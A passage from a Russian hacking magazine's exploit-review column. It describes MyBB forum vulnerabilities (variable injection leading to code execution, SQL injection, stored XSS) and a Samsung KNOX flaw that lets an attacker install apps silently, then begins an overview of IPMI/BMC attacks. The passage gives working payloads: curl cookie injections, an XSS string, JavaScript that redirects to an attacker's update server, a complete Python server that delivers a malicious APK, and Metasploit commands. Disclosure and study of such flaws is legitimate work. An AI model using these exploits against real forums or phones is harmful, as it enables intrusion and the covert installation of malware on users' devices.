книги хакеры / журнал хакер / 192_Optimized

array('function' => $name,

'arguments' => $arguments);

return true;

}

return false;

}

Из кода выше мы видим, что она содержит уязвимость, потому что переменная $shutdown_functions инициализируется без каких-либо проверок, что позволяет нам выполнить произвольный код.

EXPLOIT

То есть для случаев, когда на сервере установлены следующие флаги:

request_order = "GP"

register_globals = On

мы можем провести удаленную атаку. Вызовем phpinfo():

$ curl --cookie "GLOBALS=1; shutdown_functions[0]

[function]=phpinfo; shutdown_functions[0]

[arguments][]=-1" http://www.target/

Другой пример использования этой уязвимости, когда PHP использует следующую конфигурацию:

disable_functions = ini_get

В этом случае функция unset_globals вызывается независимо от того, включен или нет register_globals:

if(@ini_get("register_globals") == 1)

{

$this->unset_globals($_POST);

$this->unset_globals($_GET);

$this->unset_globals($_FILES);

$this->unset_globals($_COOKIE);

}

Пример атаки проверен на disable_functions = ini_get

и register_globals = On:

index.php?shutdown_functions[0][function]=

phpinfo&shutdown_functions[0][arguments][]=-1

Помимо этого, в функции run_shutdown() содержится SQLинъекция:

function run_shutdown()

{

global $config, $db, $cache, $plugins,

$error_handler, $shutdown_functions,

$shutdown_queries, $done_shutdown, $mybb;

...

foreach($shutdown_queries as $query)

{

$db->query($query);

}

}

Инициализация происходит в файле global.php:

$shutdown_queries = array();

Но не все скрипты включают в себя global.php, например css.php:

require_once "./inc/init.php";

В итоге мы не подключаем этот файл и переменная $shutdown_queries не инициализируется, но в результате мы имеем уязвимость типа SQL-инъекция.

Для случая request_order = "GP" и register_globals =

On:

$curl --cookie "GLOBALS=1; shutdown_queries[]= SQL_Inj" http://www.target/css

disable_functions = ini_get и register_globals = On: css.php?shutdown_queries[]=SQL_Inj

Кстати, Таогуан Чэнь (Taoguang Chen) нашел эти уязвимости 6 марта и сообщил через специальную security-форму, но так и не получил ответа. Лишь обратившись к разработчику через внутренние сообщения официального форума, он смог добиться выхода патча в середине ноября. Так что эти уязвимости могли эксплуатироваться и ранее.

Помимо такой глобальной уязвимости, другим исследователем была найдена уязвимость типа XSS в этой версии движка. Для ее эксплуатации создадим новый аккаунт и перейдем на страницу редактирования:

*User CP >Edit Profile > **Custom User Title*

Вводим следующую тестовую команду:

<img src=x onerror=alert('XSS');>

Сохраняем и проходим по ссылке /upload/calendar.php, где мы создадим любое событие и откроем его. После чего увидим долгожданное alert-окно.

TARGETS

MyBB <= 1.8.2;

MyBB 1.6 <= 1.6.15.

SOLUTION

Есть исправление от производителя.

SAMSUNG GALAXY KNOX ANDROID BROWSER

CVSSv2: N/A

Дата релиза: 12 ноября 2014 года

Автор: Quarkslab

CVE: N/A

Хакеры из компании Quarkslab после выхода Samsung Galaxy S5 провели исследование прошивки, в ходе которого они нашли довольно простую уязвимость и написали рабочий эксплойт. Уязвимым оказалось приложение UniversalMDMApplication, которое используется в корпоративном секторе. Оно входит по умолчанию в Samsung Galaxy S5 ROM (и другие модели) и является частью Samsung KNOX.

При запуске приложения со специальными атрибутами мы можем заставить его думать, что пришло новое обновление, после чего на устройстве появится всплывающее окно, которое спросит пользователя, установить его или нет. При положительном ответе будет установлено произвольное приложение, если же пользователь нажмет на кнопку отмены, то можно применить небольшой трюк и просто перезапустить это окно, будто кнопка отмены не работает.

Данную уязвимость можно использовать через электронное письмо (при нажатии на специально созданную ссылку) или создать вредоносную HTML-страницу, при заходе на которую через Chrome или браузер по умолчанию пользователь запустит наш эксплойт. Есть еще вариант воспользоваться

Обзор эксплойтов

MITM-атакой, вставляя свой JavaScript-код внутрь HTMLстраниц, которые загружаются устройством.

Помимо того что приложение UniversalMDMClient является частью Samsung KNOX и поэтому установлено в систему по умолчанию, оно имеет собственный зарегистрированный URI smdm://. О такой особенности приложения мы можем узнать из файла AndroidManifest.xml этого приложения:

<manifest android:versionCode="2"

android:versionName="1.1.14" package=

"com.sec.enterprise.knox.cloudmdm.smdms"

xmlns:android="http://schemas.android.com/apk/res/

android">

<uses-sdk android:minSdkVersion="17"

android:targetSdkVersion="19" />

[...]

<uses-permission android:name="android.

permission.INSTALL_PACKAGES" />

[...]

<application android:allowBackup="true"

android:name=".core.Core">

<activity android:configChanges="keyboard|

keyboardHidden|orientation" android:

excludeFromRecents="true"

android:label="@string/titlebar" android:

name=".ui.LaunchActivity"

android:noHistory="true" android:theme=

"@android:style/Theme.DeviceDefault">

<intent-filter>

<data android:scheme="smdm" />

<action android:name="android.intent

.action.VIEW" />

<category android:name="android.intent.

category.DEFAULT" />

<category android:name="android.intent

.category.BROWSABLE" />

</intent-filter>

</activity>

[...]

</application>

</manifest>

За регистрацию отвечает intent-filter, который назначает обработчиком таких ссылок компонент com.sec.

enterprise.knox.cloudmdm.smdms.ui.LaunchActivity.

То есть при открытии smdm:\\... пользователем или его браузером стартуем метод onCreate из LaunchActivity. Само приложение обфусцировано с помощью proguard, но некоторые декомпиляторы автоматически его открывают. Из-за большого количества строк декомпилированный код функций будет приведен на скриншотах.

Первое, что проверяет данный метод, — это наличие файла PreETag.xml внутри директории /data/data/com.

sec.enterprise.knox.cloudmdm.smdms/shared_prefs/ с по-

мощью одноименной функции getPreETAG(): если он найден, то приложение останавливает свою работу через метод finish(). По умолчанию такого файла не существует.

Далее приложение пытается получить объект типа Intent, который использовался для старта Activity, и определить, какие данные были получены. Данные должны иметь форму:

smdm://hostname?var1=value1&var2=value2

После их обработки в приложении должны будут появиться следующие переменные:

•seg_url;

•update_url;

•email;

•mdm_token;

•program;

•quickstart_url.

Для нас, конечно же, больше всего важен параметр update_url. Далее все переменные будут сохранены внутри

Обзор эксплойтов

дена наиболее интересная функция. Вот таким простейшим образом происходит отключение проверки:

Settings$Global.putInt(InstallManager.mContext.

getContentResolver(), GlobalSettingsAdapter.

PACKAGE_VERIFIER_ENABLE_0);

Как видишь, на этом все проверки заканчивались, то есть приложение устанавливается в систему, при этом даже не появится стандартное окно, уведомляющее о требуемых правах доступа или проверке сертификата, которым оно подписано. То есть в итоге атакующий может установить произвольное приложение с произвольными правами доступа. Но есть один нюанс: если обновление уже было установлено или кто-то уже атаковал это устройство до нас, то появится значение ETag, которое запишется в файл:

/data/data/com.sec.enterprise.knox.cloudmdm.

smdms/shared_prefs/PreETag.xml

То есть когда метод onCreate() проверит его наличие в самом начале и найдет, о чем мы упомянули выше, то обновление не начнется и выполнение приложения остановится.

EXPLOIT

Так как суть уязвимости довольно проста, то и эксплойт такой же. Нам нужно создать HTML-страницу со следующим JavaScript-кодом (или вставить внутрь «белой» страницы):

<script>

function trigger(){

document.location="smdm://meow?

update_url=http://yourserver/";

}

setTimeout(trigger, 5000);

</script>

Приятная особенность для атакующего, когда используется такой JavaScript-код, — если пользователь отменит обновление, то его снова перенаправит на эту же страницу и опять появится это всплывающее окно (отмазаться от установки почти невозможно). Далее сервер должен отправить устройству следующие заголовки:

•x-amz-meta-apk-version — произвольная цифра, которая больше, чем текущая версия. К примеру, 1337;

•ETag — MD5-хеш APK-файла;

•Content-Length — размер APK-файла (используется для полосы загрузки).

Ниже представлен Python-код серверной части:

import hashlib

from BaseHTTPServer import

BaseHTTPRequestHandler

APK_FILE = "meow.apk"

APK_DATA = open(APK_FILE,"rb").read()

APK_SIZE = str(len(APK_DATA))

APK_HASH = hashlib.md5(APK_DATA).hexdigest()

class MyHandler(BaseHTTPRequestHandler):

def do_GET(self):

self.send_response(200)

self.send_header("Content-Length",

APK_SIZE)

self.send_header("ETag", APK_HASH)

self.send_header

("x-amz-meta-apk-version", "1337")

self.end_headers()

self.wfile.write(APK_DATA)

return

def do_HEAD(self):

self.send_response(200)

self.send_header("Content-Length",

ПатчотSamsungдляисправленияуязвимости вSamsungKNOX

Всплывающееокно приатакепослеустановкипатча

APK_SIZE)

self.send_header("ETag", APK_HASH)

self.send_header

("x-amz-meta-apk-version", "1337")

self.end_headers()

return

if __name__ == "__main__":

from BaseHTTPServer import HTTPServer

server = HTTPServer(('0.0.0.0',8080), MyHandler)

server.serve_forever()

Есть Metasploit-модуль для быстрой и простой эксплуатации:

msf > use exploit/android/browser/

samsung_knox_smdm_url

msf exploit(samsung_knox_smdm_url) >

set LHOST 192.168.41.186

msf exploit(samsung_knox_smdm_url) > exploit

От авторов уязвимости доступно видео (bit.ly/1yWD0DX) по ее эксплуатации.

TARGETS

•Samsung Galaxy S5;

•Samsung Galaxy S4 (version checked: I9505XXUGNH8);

•Samsung Galaxy S4 mini (version checked: I9190UBUCNG1);

•Samsung Galaxy Note 3 (version checked: N9005XXUGNG1);

•Samsung Galaxy Ace 4 (version checked: G357FZXXU1ANHD).

SOLUTION

Есть исправление от производителя, но далеко не на всех устройствах, а только для лидеров продаж. Кстати, патч тоже был довольно прост: разработчики добавили проверку имени приложения, которое будет установлено (то есть оно должно быть UniversalMDMClient), так как в системе не может быть двух приложений с одинаковыми именами, но при этом подписанных разными сертификатами. Код патча также представлен на скриншоте.

Также можно попытаться пропатчиться самостоятельно. Нужно создать страницу со ссылкой (или зайти на блог авторов bit.ly/1AK3OGR):

smdm://patch/

После нажатия по ней устройство обратится к серверу

Samsung UMC (Universal MDM Client) по умолчанию:

http://umc-cdn.secb2b.com:80

На этом сервере хранится последняя версия при-

ложения UniversalMDMClient.apk. Она уже установ-

лена в пропатченных моделях устройств (Samsung Galaxy S5, Note 4 и Alpha). Теперь твое устройство в безопасности...

На некоторое время ;).

Взлом

БЕЗОПАСНОСТЬ IPMI/BMCСИСТЕМ И ВЕКТОРЫ АТАК НА НИХ

Сегодня мы коснемся истории исследования безопасности IPMI, рассмотрим векторы для проведения атак и их дальнейшего развития с использованием IPMI.

КОРОТКООБIPMI/BMC

IPMI — это набор спецификаций, регламентирующих, как общаться и что предоставлять. Все вендоры стараются придерживаться этих спецификаций.

BMC — это обертка из железа для работы IPMI. Представляет собой одноплатный компьютер (system on a chip) с щупальцами в сенсорах основного. Каждый вендор сам выбирает, что за железо использовать и как его объединять, что естественно. Все наши примеры мы будем рассматривать на Integrated Lights Out (iLO) от Hewlett-Packard (HP). HP iLO —

это как раз связка BMC/IPMI. У других вендоров свои названия, реализации в железе и софте. Но, как правило, это одноплатный комп с процессором ARM и Linux’ом на борту.

Основная функция подобных устройств — сделать жизнь админов более простой и удобной: пропадает необходимость бежать к серверу и жать кнопку Reset / ставить новую систему / смотреть, почему он не грузится. Теперь можно подключиться к IPMI/BMC и сделать все это удаленно. К тому же появляется возможность получать информацию со всевозможных датчиков температуры, напряжения и так далее, что также довольно удобно.

УПРАВЛЕНИЕ

Интерфейсов управления несколько:

•веб-интерфейс (зависит от вендора);

•IPMI over LAN (UDP 623);

•из установленной системы на сервере (при условии, что установлены драйверы от производителя). Используе-

мый софт: WMI под виндой, OpenIPMI, IPMItool под Linux.

Свеб-интерфейсом все понятно. Каждый вендор сам решает, как он выглядит и как его реализовать. Второй и третий интерфейсы похожи, но различается среда передачи. В случае IPMI over LAN, как можно догадаться, команды передаются через сеть на порт UDP 623. Из установленной системы команды для IPMI передаются посредством файла устройства, обычно это /dev/ipmi0, которое появляется после установки драйвера. Стандартная утилита для взаимодействия с IPMI — это IPMItool под GNU/Linux, как наиболее простая в обращении.

Болезни восьмирука

Взлом

Болезни восьмирука